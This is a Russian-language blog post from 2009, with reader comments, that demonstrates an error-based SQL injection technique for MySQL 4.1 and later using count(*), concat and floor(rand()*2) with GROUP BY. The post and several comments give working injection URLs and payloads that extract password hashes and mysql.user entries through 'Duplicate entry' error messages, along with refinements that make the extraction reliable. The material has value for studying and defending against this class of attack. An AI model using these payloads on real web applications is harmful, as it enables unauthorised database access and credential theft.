Вывод информации в ошибке для MySQL всех версий
Некоторое время назад мной была продемонстрирована методика получения значения поля в тексте выводимой ошибки, при слепой SQL инъекции. Методика была основана на использовании функции name_const(). Всё бы ничего, но смущает то, что эта функция полностью работоспособна только в MySQL версий 5.0.12-5.0.64.
Затем Дмитрием Евтеевым была продемонстрирована схожая методика основанная на использовании функции ExtractValue(), которая доступна начиная с MySQL 5.1.5.
В итоге получаем неплохое покрытие для MySQL 5й ветки. Для 4й ветки пока схожего варианта не было.
В связи с открытием блога, достаю из недр античата ещё один обнаруженный мной метод, который работает для MySQL всех версий начиная с 4.1 .
Скрипт для теста:
<?php mysql_connect("localhost", "root", ""); mysql_select_db ('test'); $rz = mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error()); ?>
Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:
Duplicate entry ‘5.0.45-community-nt1′ for key 1
Duplicate entry ‘5.0.45-community-nt0′ for key 1
Пример использования в скуле:
http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x
Результат: Duplicate entry ‘1bc29b36f623ba82aaf6724fd3b16718:1′ for key 1
Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):
http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1
Особенности:
1) Работает на всех ветках, проверял на 4, 5.0, 5.1 .
2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:
sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1
или так:
sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1
Может быть попробую перевести в более удобоваримую форму.
P.S.
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: смотреть
Декабрь 16th, 2009 в 1:11 дп
Декабрь 16th, 2009 в 6:10 пп
У тебя с версткой проблемы
Декабрь 16th, 2009 в 6:11 пп
Поставь WP-Syntax
Декабрь 16th, 2009 в 6:23 пп
Полчаса сижу, разбираюсь, не могу понять. Ошибка вроде не зависит от результата работы rand():
SELECT count(*),concat( version( ) , floor( rand( ) *2 ) ) AS x
FROM (select 1 as test union select 2) as table_1 group by x
у меня может вывести все варианты:
2 |version()0
–
2 |version()1
–
1 |version()1
1 |version()0
И на них ошибка не сгенерится. Но иногда она генерится) так на каких же она данных генерится и при каких условиях??)))
Декабрь 16th, 2009 в 6:32 пп
По этому поводу разрабочики MySQL пишут следующее:
This problem happens because in a GROUP BY/ORDER BY query a RAND expression can be evaluated
several times for the same row, every time returning a new result.
Декабрь 16th, 2009 в 8:05 пп
Ну вот спалил
Декабрь 17th, 2009 в 9:52 пп
А с AUTO_INCREMENT пробовал? Я про вылет(error 1062) на 4 запросе. А при певром варианте:
[ sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1 ]
тоже на 4 ошибка???
Декабрь 17th, 2009 в 11:43 пп
Вылетает в зависимости от рандома, поэтому может на первом запросе, может на четвёртом, а может и на десятом вылететь
Декабрь 18th, 2009 в 12:04 дп
Точно! =)
Декабрь 19th, 2009 в 12:35 дп
жааааль (с) ‘(
Декабрь 24th, 2009 в 10:54 дп
molodec, horoshaya rabota!
Декабрь 27th, 2009 в 12:28 дп
От, интересно, у меня асесс лог че-то от 10 августа 2009 года с такой штуковиной лежал.
Спалил
Декабрь 29th, 2009 в 3:46 дп
дошли руки потестировать твою раскопку…
следующий запрос с вероятностью в 1 (т.е. всегда) будет возвращать в сообщении об ошибке запрашиваемые данные:
select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;
за один запрос можно протащить 64 байт
проверял на 5.1.x
Декабрь 29th, 2009 в 11:25 дп
Ох! Круто! Нечего больше сказать
Декабрь 31st, 2009 в 1:27 пп
a ya tak uzal…poka evteev ne opublikoval… mojno optimizirovat’ kol-vo andov toje vozvrashaet 100%
select ‘1′ and if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,if(row(0,0)>(select+count(*),concat((select user from mysql.user limit 1),0×3a,floor(rand()*2)) x from mysql.user group by x limit 1),1,(select 1 union select 2))))))))))
Январь 15th, 2010 в 8:51 пп
мммм….. примечание.
Работает всегда, но нам нужно знать имя таблицы:
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from TEST_TABLE group by x;
select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TEST_TABLE group by x)y);
Если имен таблиц мы не знаем (это по всей видимости MySQL <5.0 т.к. выше 5-й ветки мы можем пользоваться системными таблицами), то при использовании (select 1 union select 2)a нельзя использовать rand(0), а нужно просто rand(). иначе не работает:(
Январь 19th, 2010 в 8:42 пп
@Qwazar
хм.. а почему вы не используете плагины Akismet и ReCaptcha? Что не комментарий, то спам
P.S. жаль что блог обновляется не часто.
Март 4th, 2010 в 11:48 пп
[...] Воспользовался техниками Qwazar, здоровья ему и попутного ветра. [...]